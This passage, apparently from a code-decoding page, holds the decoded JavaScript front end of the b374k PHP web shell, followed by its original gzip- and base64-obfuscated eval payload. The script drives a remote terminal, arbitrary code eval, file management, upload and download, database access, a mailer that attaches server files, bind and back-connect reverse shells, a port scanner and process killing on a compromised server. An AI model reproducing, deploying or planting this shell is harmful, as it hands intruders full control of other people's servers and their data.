'}}massBuffer=$.trim(massBuffer);if(bufferAction=='copy')massType='copy';else if(bufferAction=='cut')massType='cut'}}else if((massType=='chmod')||(massType=='chown')||(massType=='touch')){massValue=$('.massValue').val()}else if((massType=='tar')||(massType=='targz')||(massType=='zip')){massValue=$('.massValue').val()}else if((massType=='untar')||(massType=='untargz')||(massType=='unzip')){massValue=$('.massValue').val()}if(massBuffer!=''){send_post({massType:massType,massBuffer:massBuffer,massPath:massPath,massValue:massValue},function(res){if(res!='error'){$('.boxresult').html(res+' Operation(s) succeeded')}else $('.boxresult').html('Operation(s) failed');navigate(get_cwd())})}}function xpl_update_status(){totalSelected=$('#xplTable').find('.cBoxSelected').not('.cBoxAll').length;if(totalSelected==0)$('.xplSelected').html('');else $('.xplSelected').html(', '+totalSelected+' item(s) selected')}function xpl_bind(){$('.navigate').off('click');$('.navigate').on('click',function(e){path=xpl_href($(this));navigate(path);hide_box()});$('.navbar').off('click');$('.navbar').on('click',function(e){path=$(this).attr('data-path');navigate(path);hide_box()});$('.newfolder').off('click');$('.newfolder').on('click',function(e){path=html_safe(xpl_href($(this)));newfolder(path)});$('.newfile').off('click');$('.newfile').on('click',function(e){path=html_safe(xpl_href($(this)));newfile(path)});$('.del').off('click');$('.del').on('click',function(e){path=html_safe(xpl_href($(this)));del(path)});$('.view').off('click');$('.view').on('click',function(e){path=xpl_href($(this));view(path,'auto');hide_box()});$('.hex').off('click');$('.hex').on('click',function(e){path=xpl_href($(this));view(path,'hex')});$('#viewFullsize').off('click');$('#viewFullsize').on('click',function(e){src=$('#viewImage').attr('src');window.open(src)});$('.edit').off('click');$('.edit').on('click',function(e){path=xpl_href($(this));view(path,'edit');hide_box()});$('.ren').off('click');$('.ren').on('click',function(e){path=html_safe(xpl_href($(this)));ren(path)});$('.action').off('click');$('.action').on('click',function(e){path=html_safe(xpl_href($(this)));action(path,'file')});$('.actionfolder').off('click');$('.actionfolder').on('click',function(e){path=html_safe(xpl_href($(this)));action(path,'dir')});$('.actiondot').off('click');$('.actiondot').on('click',function(e){path=html_safe(xpl_href($(this)));action(path,'dot')});$('.dl').off('click');$('.dl').on('click',function(e){path=html_safe(xpl_href($(this)));$('#form').append("<input type='hidden' name='download' value='"+path+"'>");$('#form').submit();$('#form').html('');hide_box()});$('.ul').off('click');$('.ul').on('click',function(e){path=xpl_href($(this));navigate(path,false);path=html_safe(path);ul(path);hide_box()});$('.find').off('click');$('.find').on('click',function(e){path=xpl_href($(this));navigate(path,false);path=html_safe(path);find(path);hide_box()});$('#massAction').off('click');$('#massAction').on('change',function(e){type=$('#massAction').val();mass_act(type);$('#massAction').val('Action')});cbox_bind('xplTable','xpl_update_status')}function xpl_href(el){return el.parent().parent().attr('data-path')}function multimedia(path){var a=$('video').get(0);send_post({multimedia:path},function(res){a.src=res});hide_box()}$('#terminalInput').on('keydown',function(e){if(e.keyCode==13){cmd=$('#terminalInput').val();terminalHistory.push(cmd);terminalHistoryPos=terminalHistory.length;if(cmd=='clear'||cmd=='cls'){$('#terminalOutput').html('')}else if((path=cmd.match(/cd(.*)/i))||(path=cmd.match(/^([a-z]:)$/i))){path=$.trim(path[1]);navigate(path)}else if(cmd!=''){send_post({terminalInput:cmd},function(res){cwd=html_safe(get_cwd());res='<span class=\'strong\'>'+cwd+'></span>'+html_safe(cmd)+'
'+res+'
';$('#terminalOutput').append(res);bottom=$(document).height()-$(window).height();$(window).scrollTop(bottom)})}$('#terminalInput').val('');setTimeout("$('#terminalInput').focus()",100)}else if(e.keyCode==38){if(terminalHistoryPos>0){terminalHistoryPos--;$('#terminalInput').val(terminalHistory[terminalHistoryPos]);if(terminalHistoryPos<0)terminalHistoryPos=0}}else if(e.keyCode==40){if(terminalHistoryPos<terminalHistory.length-1){terminalHistoryPos++;$('#terminalInput').val(terminalHistory[terminalHistoryPos]);if(terminalHistoryPos>terminalHistory.length)terminalHistoryPos=terminalHistory.length}}fix_tabchar(this,e)});function eval_go(){evalType=$('#evalType').val();evalInput=$('#evalInput').val();evalOptions=$('#evalOptions').val();evalArguments=$('#evalArguments').val();if(evalOptions=='Options/Switches')evalOptions='';if(evalArguments=='Arguments')evalArguments='';if($.trim(evalInput)!=''){send_post({evalInput:evalInput,evalType:evalType,evalOptions:evalOptions,evalArguments:evalArguments},function(res){if(res!='error'){splits=res.split('{[|b374k|]}');if(splits.length==2){output=splits[0]+"<hr>"+splits[1];$('#evalOutput').html(output)}else{$('#evalOutput').html(res)}}})}}function eval_init(){if((evalSupported=localStorage.getItem('evalSupported'))){eval_bind();output("eval : "+evalSupported);evalReady=true}else{send_post({evalGetSupported:"evalGetSupported"},function(res){evalReady=true;if(res!="error"){localStorage.setItem('evalSupported',res);evalSupported=res;eval_bind();output("eval : "+evalSupported)}})}}function eval_bind(){if((evalSupported!=null)&&(evalSupported!='')){splits=evalSupported.split(",");$.each(splits,function(i,k){$('#evalType').append("<option>"+k+"</option>")})}$('#evalType').on('change',function(e){if($('#evalType').val()=='php'){$('#evalAdditional').hide()}else{$('#evalAdditional').show()}});$('#evalOptions').on('focus',function(e){options=$('#evalOptions');if(options.val()=='Options/Switches')options.val('')});$('#evalOptions').on('blur',function(e){options=$('#evalOptions');if($.trim(options.val())=='')options.val('Options/Switches')});$('#evalArguments').on('focus',function(e){args=$('#evalArguments');if(args.val()=='Arguments')args.val('')});$('#evalArguments').on('blur',function(e){args=$('#evalArguments');if($.trim(args.val())=='')args.val('Arguments')});$('#evalInput').on('keydown',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){eval_go()}fix_tabchar(this,e)})}Zepto(function($){$('#decodeStr').on('keydown',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){decode_go()}fix_tabchar(this,e)})});function decode_go(){decodeStr=$('#decodeStr').val();send_post({decodeStr:decodeStr},function(res){if(res!='error'){$('#decodeResult').html('');$('#decodeResult').html(res)}})}Zepto(function($){db_init()});var dbSupported="";var dbPageLimit=50;function db_init(){if((dbSupported=localStorage.getItem('db_supported'))){db_bind();output("db : "+dbSupported);db_add_supported()}else{send_post({dbGetSupported:""},function(res){if(res!="error"){localStorage.setItem('dbSupported',res);dbSupported=res;db_bind();output("db : "+dbSupported);db_add_supported()}})}}function db_add_supported(){splits=dbSupported.split(",");$.each(splits,function(i,k){$('#dbType').append("<option>"+k+"</option>")})}function db_bind(){$('#dbType').on('change',function(e){type=$('#dbType').val();if((type=='odbc')||(type=='pdo')){$('.dbHostLbl').html('DSN / Connection String');$('.dbUserRow').show();$('.dbPassRow').show();$('.dbPortRow').hide()}else if((type=='sqlite')||(type=='sqlite3')){$('.dbHostLbl').html('DB File');$('.dbUserRow').hide();$('.dbPassRow').hide();$('.dbPortRow').hide()}else{$('.dbHostLbl').html('Host');$('.dbUserRow').show();$('.dbPassRow').show();$('.dbPortRow').show()}});$('#dbQuery').on('focus',function(e){if($('#dbQuery').val()=='You can also press ctrl+enter to submit'){$('#dbQuery').val('')}});$('#dbQuery').on('blur',function(e){if($('#dbQuery').val()==''){$('#dbQuery').val('You can also press ctrl+enter to submit')}});$('#dbQuery').on('keydown',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){db_run()}})}function db_nav_bind(){dbType=$('#dbType').val();$('.boxNav').off('click');$('.boxNav').on('click',function(){$(this).next().toggle()});$('.dbTable').off('click');$('.dbTable').on('click',function(){type=$('#dbType').val();table=$(this).html();db=$(this).parent().parent().parent().prev().html();db_query_tbl(type,db,table,0,dbPageLimit)})}function db_connect(){dbType=$('#dbType').val();dbHost=$('#dbHost').val();dbUser=$('#dbUser').val();dbPass=$('#dbPass').val();dbPort=$('#dbPort').val();send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort},function(res){if(res!='error'){$('#dbNav').html(res);$('.dbHostRow').hide();$('.dbUserRow').hide();$('.dbPassRow').hide();$('.dbPortRow').hide();$('.dbConnectRow').hide();$('.dbQueryRow').show();$('#dbBottom').show();db_nav_bind()}else $('.dbError').html('Unable to connect')})}function db_disconnect(){$('.dbHostRow').show();$('.dbUserRow').show();$('.dbPassRow').show();$('.dbPortRow').show();$('.dbConnectRow').show();$('.dbQueryRow').hide();$('#dbNav').html('');$('#dbResult').html('');$('#dbBottom').hide()}function db_run(){dbType=$('#dbType').val();dbHost=$('#dbHost').val();dbUser=$('#dbUser').val();dbPass=$('#dbPass').val();dbPort=$('#dbPort').val();dbQuery=$('#dbQuery').val();if((dbQuery!='')&&(dbQuery!='You can also press ctrl+enter to submit')){send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort,dbQuery:dbQuery},function(res){if(res!='error'){$('#dbResult').html(res);$('.tblResult').each(function(){sorttable.k(this)})}})}}function db_query_tbl(type,db,table,start,limit){dbType=$('#dbType').val();dbHost=$('#dbHost').val();dbUser=$('#dbUser').val();dbPass=$('#dbPass').val();dbPort=$('#dbPort').val();send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort,dbQuery:'',dbDB:db,dbTable:table,dbStart:start,dbLimit:limit},function(res){if(res!='error'){$('#dbResult').html(res);$('.tblResult').each(function(){sorttable.k(this)})}})}function db_pagination(type){db=$('#dbDB').val();table=$('#dbTable').val();start=parseInt($('#dbStart').val());limit=parseInt($('#dbLimit').val());dbType=$('#dbType').val();if(type=='next'){start=start+limit}else if(type=='prev'){start=start-limit;if(start<0)start=0}db_query_tbl(dbType,db,table,start,limit)}Zepto(function($){info_init()});function info_init(){if((infoResult=localStorage.getItem('infoResult'))){$('.infoResult').html(infoResult)}else{info_refresh()}}function info_toggle(id){$('#'+id).toggle()}function info_refresh(){send_post({infoRefresh:'infoRefresh'},function(res){$('.infoResult').html(res);localStorage.setItem('infoResult',res)})}Zepto(function($){});function mail_send(){mailFrom=$.trim($('#mailFrom').val());mailTo=$.trim($('#mailTo').val());mailSubject=$.trim($('#mailSubject').val());mailContent=$('#mailContent').val();mailAttachment='';if($('.mailAttachment')){mailAttachment=$('.mailAttachment').map(function(){return this.value}).get().join('{[|b374k|]}')}send_post({mailFrom:mailFrom,mailTo:mailTo,mailSubject:mailSubject,mailContent:mailContent,mailAttachment:mailAttachment},function(res){$('#mailResult').html(res)})}function mail_attach(){content="<tr><td>Local file <a onclick=\"$(this).parent().parent().remove();\">(-)</a></td><td colspan='2'><input type='text' class='mailAttachment' value=''></td></tr>";$('#mailTBody').append(content)}Zepto(function($){rs_init()});function rs_init(){if(evalReady&&(evalSupported!=null)&&(evalSupported!='')){splits=evalSupported.split(",");$.each(splits,function(i,k){$('.rsType').append("<option>"+k+"</option>")})}else setTimeout('rs_init()',1000);$('#packetContent').on('keydown',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){packet_go()}fix_tabchar(this,e)})}function rs_go_bind(){rs_go('bind')}function rs_go_back(){rs_go('back')}function rs_go(rsType){rsArgs="";if(rsType=='bind'){rsPort=parseInt($('#bindPort').val());rsLang=$('#bindLang').val();rsArgs=rsPort;rsResult=$('#bindResult')}else if(rsType=='back'){rsAddr=$('#backAddr').val();rsPort=parseInt($('#backPort').val());rsLang=$('#backLang').val();rsArgs=rsPort+' '+rsAddr;rsResult=$('#backResult')}if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){rsResult.html('Invalid port');return}if(rsArgs!=''){send_post({rsLang:rsLang,rsArgs:rsArgs},function(res){if(res!='error'){splits=res.split('{[|b374k|]}');if(splits.length==2){output=splits[0]+"<hr>"+splits[1];rsResult.html(output)}else{rsResult.html(res)}}})}}function packet_go(){packetHost=$('#packetHost').val();packetStartPort=parseInt($('#packetStartPort').val());packetEndPort=parseInt($('#packetEndPort').val());packetTimeout=parseInt($('#packetTimeout').val());packetSTimeout=parseInt($('#packetSTimeout').val());packetContent=$('#packetContent').val();packetResult=$('#packetResult');packetStatus=$('#packetStatus');if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){packetResult.html('Invalid start port');return}if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){packetResult.html('Invalid end port');return}if((isNaN(packetTimeout))||(packetTimeout<=0)){packetResult.html('Invalid connection timeout');return}if((isNaN(packetSTimeout))||(packetSTimeout<=0)){packetResult.html('Invalid stream timeout');return}if(packetStartPort>packetEndPort){start=packetEndPort;end=packetStartPort}else{start=packetStartPort;end=packetEndPort}packetResult.html('');while(start<=end){packetPort=start++;packetResult.append("<hr><div><p class='boxtitle'>Host : "+html_safe(packetHost)+":"+packetPort+"</p><br><div id='packet"+packetPort+"' style='padding:2px 4px;'>Working... please wait...</div></div>");packet_send(packetHost,packetPort,packetEndPort,packetTimeout,packetSTimeout,packetContent)}}function packet_send(packetHost,packetPort,packetEndPort,packetTimeout,packetSTimeout,packetContent){send_post({packetHost:packetHost,packetPort:packetPort,packetEndPort:packetEndPort,packetTimeout:packetTimeout,packetSTimeout:packetSTimeout,packetContent:packetContent},function(res){$('#packet'+packetPort).html(res)},false)}Zepto(function($){show_processes()});function show_processes(){send_post({showProcesses:''},function(res){if(res!='error'){$('#processes').html(res);sorttable.k($('#psTable').get(0));ps_bind()}})}function ps_bind(){$('.kill').off('click');$('.kill').on('click',function(e){kill_pid(ps_get_pid($(this)))});cbox_bind('psTable','ps_update_status')}function ps_get_pid(el){return el.parent().parent().attr('data-pid')}function ps_update_status(){totalSelected=$('#psTable').find('.cBoxSelected').not('.cBoxAll').length;if(totalSelected==0)$('.psSelected').html('');else $('.psSelected').html(' ( '+totalSelected+' item(s) selected )')}function kill_selected(){buffer=get_all_cbox_selected('psTable','ps_get_pid');allPid='';$.each(buffer,function(i,v){allPid+=v+' '});allPid=$.trim(allPid);kill_pid(allPid)}function kill_pid(allPid){title='Kill';content="<table class='boxtbl'><tr><td colspan='2'><textarea class='allPid' style='height:120px;min-height:120px;' disabled>"+allPid+"</textarea></td></tr><tr><td colspan='2'><span class='button' onclick=\"kill_pid_go();\">kill</span></td></tr></table>";show_box(title,content)}function kill_pid_go(){allPid=$('.allPid').val();if($.trim(allPid)!=''){send_post({allPid:allPid},function(res){if(res!='error'){$('.boxresult').html(res+' process(es) killed')}else $('.boxresult').html('Unable to kill process(es)');show_processes()})}}<?php
foreach($GLOBALS['module_to_load'] as $k){
echo "function ".$GLOBALS['module'][$k]['id']."(){ ".$GLOBALS['module'][$k]['js_ontabselected']." }
";}?>
</script
Did this file decode correctly?
Original Code
eval(gzuncompress(base64_decode("eNrsvQl74zayKPpXGB3fyBrZ1r6120607/uu7lx/FElJlLiJpNZ0/vvFwgWkKFtOZ+add8/NfNOmgEKhABQKhUKh8PU3ZaVQd+VGO5dt9L/5RZndCdybLr8JMs36/6BeKFpV6dO9jzsqgqxyqu+B8umcKvISLcBvbo//MrK051QdfrK0Ts9pjYPfvLSQ4V+R5hGYxOkHWd3AT0WVGU7TOM0XeP7t9auLEpXT5J0KAPx/fPPPY6n4BlHjW40mM1VtxotScrnO9lb59EluZFaTbmZZYKPHVS1xOqRDg3WozS1SeqffL8dqh/VsNDlFFsIsLDGhxn63CdWzK7GSXmeU5mo4TNPpZDx/lLqxcWLRKB3EemLBT+K1UeYonTJyuhyLBgdHZbXVMvnFetXfFlYcr43k9UaozCstplFoRVKVGl3eKIVKecWWCspGkCZsiG4d6HJzORov5YlcGYnR/Xajj2OdorgphGapfE7v10uH0XTSnqQjB3YVEqctcZXZnaLVsdRaN+q5CJOdisV6cL7ujvfHelBWs8G0zE8y+VxoEWbFCL1pLUbloqTWy3QzJNGJeW1a2tci/SWbLY2yi6DaK++HmUxG3EzlWqkRSSr9oZATT8FxbTjaKYNBWR8mJ/VMRWj3K+V4aX8ogSaV8+36Lr8qia18bcutiuVYPVwszHcFUY8Hw8lzL9brcaNUK1Hh5jmBV0PceVbkRly4JSbKkWN53QnFatyWC+0ysjpKnFvb3SZyjHWYcqMxSNY2685uzaYFtd9uSYV2a1LgioVMUJLH1alQXsfq5aAW7kwKpaBYjI3Zc74830TUlLwW+KqSnzPhRWvbGSeFdGJZqQT1rNQR9HRi3K83xW40vV3XuZgcLU/GlTY/GDBC8MBUhxyTnAiy1F+2xaW4jzC5arLNxlT5uFgUasVMOTeJ5+rz5SgixUPrxkyepuYr0JCWMqHryYNQKR76sXn6NAkOprsVfWrVRKldzXPtaVMoJxsThi41h5WQzs0G/VixVS0Gu8NocVhts6PGulWpFlpqfi1G9qHwfjEX6PhCnJ2aJ5HfzqTI7qAeGnIpqpXPcig2LiWDYmQybWTqQp1Ltc6LGb8YJGOHRI0vtpYjuneuro7h/CHfzw9zoewmT+f78ewyMUs2lnrhGG2lM1NtH5Nzx2R4fWDPhYaUWLKLYIUJhXqpY+rMVheL9WGh9A6Jdq1WiTVH/KJZSAuNzBmgXHEcfco1NvVWdlEOKcVYcJmKHnf6oZdLR8TosjCYC7OlKhdi54weO/Zao+ZALybyh4VUPhcGy0pE64TS5dxOXJ/S7E5ahpq5c0hOxEJ8hwvuK+yhk+k0JomtUGaDEbqzaO/rsViFC4U4OVQIxSflfH2g9Oe5rNAfLYOTQSIi6tU9V0pvOjoTDMmroJaa1LPh06h5YiLMuR4WEyWGPxd1JbbODOW5HBrpJa43PjRGjcyYV6VhnZkI40ysf95EUvy5IHSYSaRYmvNLbRkR47ldrJFapBmhPG/FRh2mLjTzwTFd1tbzxihxVBr8pnSYSnGpHuochrtjQksNuJTULK3Hu8Gxc9hNFq3gYlxQlVFxM+wnisd4Ii0r61WBWTda3e45nOgvejzPhE7H2jQv1GrhMi0cmqV8Yz5MLieJRJjLCPWpFNJqUnN0Kpf5ySnWah9UZbqvq2xZLIUze3W/609WXGc45861dKwwLjYAnVtNX+aSYitSKA22Qq9WqkwnO7nbT4/yiVS+nqHD6zA9qzUORb25FTIrqRnJb+n1pCNoNbGhsrX6iTsV8qVSNH3unE+h3GFeT5USEzqcbBQFNnPat/oJrshJa+7Mjib6uVVuc135MA6Ow/lEXsmz20E3qpZOUU2qLHIJvUEfpTWdHTRip0L3EJP0ekxZlvZbPlbi8p16qtkSOXqurpet3XpXykxalfYgdjqph35GkMO7MTNIp3e7EhMuFKaS1E6mZtHqOTPNhsLJliAdk7VUUhk32Vh4PerMyrXCaR/ZFuK8PDoW9KEg59Oj6Dmu9fOZQa06S+xLC1WcBoudfK0vx5g1U2oW2Fx5PIqd87NgY0kHAfeuaqtFaqxvN+l8O73rLOclVg0q2UaoKEwW2wxdPetytDtNjoHApFdgVLlSPL5LVUODYiyy6laj9SJf36+Y1Ly8Ps4P5faRzg/qij5WZ7FJk95NxW2rIY/m8c7qPJwP2uFeoxsbpM+D9qIeO6w3weQoES2HGquVktKTidq6Wuo1m7XKWuWF5TwzKtfL8/48mwzFlcWkPIpmlsdoKpGgt9HQetfmy3tpF4smNttdQesM+VSxHDq0k+fKurgSRoPKPl2Or5g1PUhL0rbT6YkrVqDb07KoaiVGXi7Po5YChHhmER8I9eR83JW3w7YkSfW0Imgsp81S45VYGmn9Xad9jOQqSjwhD5WiMEpNVqtiaDDdL0qTunauCyk9NdiclXOtnRaS52pmw0c0uUGflHkGSNBYiMmdAL91Rp1xJ3Sovviery34Ii9yeL1nZ4MVu20ui9VJKHWWUoV9Mx9dz5JRPVYRu0uw5nJKvlDa749ci9di0eMxttodmlNxuDn098y+N27q1cU5WJrPE3kuH15qeyU0jfD9YrbXnZWzTbl2ys0y41aop4ipbEEejltq8RAcpAbVucjVGpy4Wrbyw128yFaiRW7TOKziqT4bLjCtzGKXm2QSw0imXFW2wZ7SysSTpf6OrU/O/Km6aAj5eKci9aVwVI0PpXCCEWMMHW1JUuw06fSYTOs0aIWD69JklFYmhXYythRzvLg/hFddflerpIutRlMS++FVWhMy4jgVb4kskynV0+3Evgsaw5+Y1KIT30xih/Rw2B4fugNuU5tGh9HFalybHmaD0S4ny1k6vKpnJ1W61mzyc27WWBW5VSbBily3nojIcq62mFa4ZJw+NpZNaRoBi18b8Im0XKa0lcSN56dudjXOaNn1fscu9WWcyY/HwXY3VCxMxOyxNBsMWs1B6bCu7itaiRMX0ZJQP1WKpdl5Jk7V6Sa4H560rtw9LMOFZDwdzufEJqg+XomCtTsfrDTkIS838+tpTtLGQ/3MZIdSOtGux+hSsdFrDSaasKqMgxFuk+6NhUMjmw5G69NjNbWYnSeD+oZLdugDIyaruXIvk42ValpnHdfrHKepsWkkkSxGhW03HM0sEnMgS/JgFo65QeSwXoW60X2jkzzpunwM9jvattOLVJnQrBDOxGJsfZrqK83SdCnQYVZTo32hU1439mJ9WRZ7y/J8PGlV91VFXUqzrh5Zcod4sq9vxHZ0Ee/llUw2UqivBWmTbIqV4aLRmLKrTZBOgSWMyeUPh7Q417IxZdM6Rtex1VFcqrGdkikq6qZyeHlnbgCFXD7gyVGaTSqFrT4tVKeLer7T60dn4VKc6XNiMFdZjLrZZKUQDgd3pdBMOkUn5/4p1W8torHyqDat6s1KSOGEflgchM7d1Sy1qWw3wiFXSJ/3dHacDS3XITFdr2ZD/CRY2KXX7fXisE+LkTavh4CcW2iJybR/6qUOs4zG8o0OzRdT6vEwne0L59g5XAZKWqajRzpbvtDYnXrLczaljRQ52to3Ynn2lFQiXL8fG4rRCDfbLsbRHVDQmEx/MF2Xw8X0+TSfxYTjVC03liK/TpYGy0JQLkYWlXPvlMtUJ0q1JAyCyVp6ku21evx+my02Tq1xMhNf5Kb1JdtNxPlob7trL+Xqob0tKr16spxMbjfxyrqUz44nmVZPSTDD5Kqpsft+d8WX8xM1VREXJyE0oHuZ+mFdOArsuKVkDkBp2h2j2hSsT8NsrnAcdscruRwt6Omx0J5Wd5X0Yq1w67AQzi5jm3AkW5meGq2WnOKO52w/tWbOg01ClpfnllAcjBqJZXTANKbdakpKnIIZtjc5L1vxcySzqKtxsZPXGmJwFl+smIxUouepdm/drPXbtFoJT461ZnrerOTqq2LrvFS5opSL9w6l1nI4jxzE5KlZYjPaqaeH1Q7Q32txLlWIimwSCN9zqRjMRRta61hUNocZ15D0/nA3PO3yg1l5Hp5Pmzk+01kMYtk8XQ8tpuywmC6fuV1jMq+Gx3w1dO4NUpo0bo5S+wkTzoGdUndfXfSn9fVSl6t8HYh9lSuN4jRQMrKRWo+tHyOVJn86NeWZ1Fx2J6lxtDaPh/QdSxd6eq09XM6miVK2NFeK0rTLZ3PFYaIYnJzqu5iy7fHnVTKVzEUzfe20icxmzOzQqB8EUUvwS0ZqKxEoEPr9bj3T2IcB60uVTHStLovzdSs8z7DteLxdj8/iYpWJjo7y8TjjlHM7OG6cmRrY06YP03KiV98WWlzsEGwXupLaOW+C7dNMDp7Tm0a6Uo9NWiuGSeVPmSgzmo5jY200U/rnWX5UlJWmMNxJoYnQLp0HY2mk6On+KlsSZ9pxlItprfFm38gO+0f2tBo3lxwdOVXi69ooN4916Wypox6HsX1yVEgVtJLSzo+O/UNvpg1K2iFZpiPbkjgaHvsxfZQZr2ub1eY4yzbpSiObCoZbtRR7ytDzjbhdKUovI2en1Vozs4y1K4NCMB08dPXNtJnnK/1j99gsnsf7zUavd85LbbNgQ6WYGB9Xwhkhuxjqg1U3WMtGleZ+LtWSoAGNA6ufJ/tePDXjwrPwaJNPlJJMiusfhaSUDik7tjotC+lMk9fP1UpxNzmOpoVYLbjVM3I33qltte662OYOnF6ZFYeL9DDfm64rh9RePMpcOLfWj4mMEu8s9J5a2E4Kvcmgse1GWuXGqJiMxDqjmXii+R6X7EujzDzdz7PZTCSXoiOrXLrXjx3HleqEnSYHmcEhz4SPPT5WnZUHuVR81NeSamOjTkYi0ArX625L04vnWCHfaiujU2yyyUSYUe04p9v14ry0V7v5U3Rx7A/PK1rad7aJucgwrfGgU44N501tInfG/X5iMBjs5dA43dD4WbLPnlkxui33tzVa2e8kZh5aC9UIE+eT4VYrERvQmrw8NMJ0qFySTqW4sOTB9jPaSuVap0aiWAQraDzaYGc6LUf7GbAr57LheLcwp4tdvbcMT3vCPFQMb7QTw8ebzUhFGO33265wDtPb5oTTNGG/Paem8TndCI/3rcp+IfSkRuvY6CWqpcU8U1dng0yqIevndLuk12rrzG7ZL61G01NGOjO73j4f3M9LyTOrjpWp3uE2QfW4prmmvIwr+3Z1Xosd2oOuWJrH2BCttzKVUWqm7WalbBVoAauwPOrWZ5N5cLHMtdluqy4VtFF3v5bOoTRcqC6tN3tOxStU7Cn6FHOsZTqvC4Zuh8w6IPN3ef6m6bSq3weeKQ4sb+qbyimyqvPS8r74Vuz12j3qB1V8GwNJX22V0Xcn2+sX0VerPajmi6Do77zEv2mcfu9f6aLwhjBp/gd/2O/IZHlNEeiTnR/xzkck7ZSrcIK8dNcB0t90oLu+CbzI6/dhmMYIHK0CXDpDMysONpFf3P+yADyk87L0xh15Tdfu/fROX/kDgT8pM4eCKfcgAYDzGqzR7kSF1oAuEKB+/ZW611VevMz65cWPsN0xoKfv3vLtdr1aBOOgoJ+ddn/wTCBWrHKwyAkoG2/wN4DVVnTkXmQTDhhU1AZ7ebmo/k8K4GVkecNz9z6Y5nsg8D5QsJPuA8FYMhwOP1C+kA/gXHE0y6n3vobM0LADvlC+pyXoUI0TFvew0r/A/2DfGUQzdj/8+EHd318k//or8euXSyIDqLVAuYLM+PUXVmb0k8JRkHleqa/mH0AV+CNyOk0xKzCSnP7i3+mLx7TfTJZokXvxq/Jc1jU/xciSzkkASJJ5ieWOD5QkL2RBkA/wi1aZFb/nXGX3PHeADE+UPvCsvnphuT3PcI/oxwMFWE/naeFRY2iBe4k8ga4T6SMv7kQyaadxKvpNz0GSJLtTwrDykNGuucyeKE0/gXT/nGY2S1XeSeyX/1qk4f+eGVmQ1S//FUb/PSs0y4I5+SX8LNLqkpfAh//161x9/aq8fmUA2Rz4lGSNUXlFf53KO0riOJbSZYqTYNXUmt7TOPdryIL7GjKLhhRAEU6l4FC8+HXuqIfsUoDyPa1SLBgwMFo7EZR7pting8rr3P13HyIF/n8hqyIF+nclsy9+RdZAQYs+XlJ2JnrICAdZZf0Uz+JffmNE8LfRMQswKI8af+a+xOLK8RmNBvj8X8/yThd4ifsiyRL3DGl9pAV+KX3BdT07OhT9Z3VhGuCZg5o59UtEOVKaLPAs9V8M+s/IeFRplt9pCNQ5Dn6yz2BbX7/DCcTC6VIUONgtuVOVvcetCDwtQF9p9+9BAK7O6kCSzHegI6EskhlZVARO5/wPlF9eLKB4+xoyRgx8Qb4BleNJAmQ4x6xkNJdAJTyScn8Z//OUdnheq2CdeINHBE7B58qEMvDO+A16TwWDb0z1t36xNyr2vvnx37dsodAD8/o36krOFyvdVxkMOm8VIAZ9fzxb2GFt3/y8AqpRQVM0vEz1USZV7VBQIpGUPPkAuyq0RDECFIN+TVdlael//QF6CiS/UmAK2AUtmnrFZntQNGhy146WD9rsAEzBAKR51/S7WZNBJKzod5YGg+hjqSY1pSpf+C9A+GJ5G3BXtoPMjuoA6/cb+nVPAGnyQj/QKgfy78GgcNL+3uzQfrs0AMtx0Y9Xmt+oq/kfdpLvi9/vJsysGdHmJgdg7FQ6oKWAaJCuAZ6BVKucvlMlB6LnjzhQWHixHlxvAM9td5x6gm13sZuvOyz2pm/9QQ8oIz60zvzCiYp+ug4SCPzm+43gAVf+F5/Poh/pLhq94AhsvSKA7w/ehr2q748nTFjgg8YhsXfROJgKG2dUtuCPbyK95Jm37U7WYZVQNfgItUTvLzGDRKAk0PrKxq7A5fKN5VUj4wO0zIG9RAsS0WCAv2AoQApKeCpUe8X8oA37sAhUwSz4fCaVA0Pj+eaHSJFaQygkIA3qI+APIokTNA7X8Aa1JZU+7FSB5RiZ5S4QGVoTbhQqEQiYxKkcLcB2mhneRMLa3iHG5GLw+53uOqi08nbg9RUeN83Zb+7c+zsw6exh8X33QTmmA/n1HTLeu4Ni2p4uR8bMub+Di6m3okparhAYGgqDjuUZzFEBCit4XJyMv5l9/m5xopMWNOjLd+ifCzKzeQNqmZN4K9mpXVvyGa0Nwz5cNsrF1sBUtBWVW4LJojOrez9Y//QfmsKDZfoHAxhGAH81YacqP3ROFukfhpr3Q1eBCvBDk2RZOf2AeswP4aD8OIDu+8EAJvvBCDxYin8oJ6CqSD8Efn44HEI8WHPfowY2xlSWYW4IqH1UPBynWrJOlaC6QarTfbD1AFrEJYC1TkOOJKfOOzX/sxVfHTgwwQ685Bw1nEbIrnvAwTrQiw6gMm03B7/uiVXsIfwQA1PzBSyfoJgPrFC6uuPAAvkR07hEopOIC3lJqypeKuA8e9NOkJPhtskmDe4Xl3C/SJQzIf3GXspz5jnglwrjR2zolXMfMBn5DbtrILIg3TKQSYBf4W+K1qi7zcvr3d4NvIciDHx/u9vA5RZuWCWYasgqIuveWOYcjUDbL3cPgH7HauNvsC94RQOL/wpKon0AjIEjCfyA+32BBqLE993/3Q+9Q9C/kDKTT0y5CIh5Z/C4I8fs3INmJAKxDKQLHC2gtsM9AGANaJqAqVDLgH+BahF9/TXiM8U82DOhTdO9XztpOifiMbio1swEyElbxu843aj4magYQKHFDe/2kG4OkjgJLBuo9w0rgdHduBgYJbMTcAIxd52krjhBeIOtvkYuAeDoj9/tHIvov0/HOxRYdf9u1/UAtw/OCmFCwOZiuFWHXAz3XAGL7KcXnPIzpMJtkL5Sd1fItbPdI2zm/KfHGHpPvckKJ12j2M6HI8xyGmM5c1Fh6uXVdOxSeAV5aqm+wAMV8cg4wIyodwZsL6wJso5VozGauFLwB8JrD5bq9mDgCVi6lK1IQByQ3sOKB400TDMLUBIIDoTmW+QPQ9Y5WYTkBbQJ/esdHNGbcfxlNIsRZM0k76dG7b0Rs0cL0/y7QvamX/UbdjdIrdlFvyw42UgiJjJowQJMGRZlgMELZ5JIjipGO/A8++vGhpha43uaorVpcUpeYi/j0EBhuqZwDE8LyKaGsiGX/aAi7+0